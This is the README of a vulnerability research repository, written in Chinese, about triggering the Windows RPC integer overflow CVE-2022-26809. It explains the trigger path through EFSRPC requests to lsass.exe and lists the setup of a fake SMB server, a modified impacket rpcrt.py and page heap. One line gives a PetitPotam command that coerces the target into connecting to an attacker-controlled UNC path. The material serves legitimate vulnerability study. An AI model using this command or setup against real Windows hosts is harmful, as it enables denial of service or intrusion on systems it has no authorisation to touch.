此仓库仅针对该 CVE 进行简单研究,更详细的分析请参考此处。
更新:2022/05/19
此分析尚未完成....
更新:2022/05/22
HuanGMz 的文章 和 corelight 博客 展示了真正的漏洞点:
OSF_CASSOCIATION::ProcessBindAckOrNak

此漏洞的触发方式与 CVE-2021-43893 类似——当向 lsass.exe 发送 ESFRPC 请求并携带 UNC 路径时,受害方将尝试作为客户端访问目标,从而在客户端 API 中触发整数溢出。
如果有更好的触发此漏洞的方法,欢迎提交 issue 或 pr :)
由于该漏洞的触发方式与 CVE-2021-43893 相似,直接克隆 PetitPotam 代码即可。
只需准备类似以下的环境:

fake_smb_server.py,但需将 rpcrt.py 替换为修改版(因为 Windows 系统上 445 端口已被占用,建议在 Linux 上部署服务)python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile"
lsass.exe 启用页堆(不过本人尚未成功触发蓝屏,但根据 windbg 分析,整数溢出已被触发)旧描述
以下是 Windows RPC 漏洞 CVE-2022-26809 的复现代码,参考自 https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello。
我的 Python 版本为 3.6.7
不确定 GetCoalescedBuffer 是否涉及真实的 CVE-2022-26809,暂时保留
poc.py 只是尝试触发漏洞函数 OSF_SCALL::GetCoalescedBuffer,不会导致任何崩溃,因为 DWORD 整数溢出极难复现。而 rpcrt.py 是 Python 包 impacket.dcerpc.v5.rpcrt 的内容,替换原始文件即可触发漏洞(请记得备份原始文件 :) 我认为 rpcrt.py 存在大量 bug)。
如果无效,也许 wireshark 可以帮助定位问题。
如有必要,可使用 nmake 重新构建。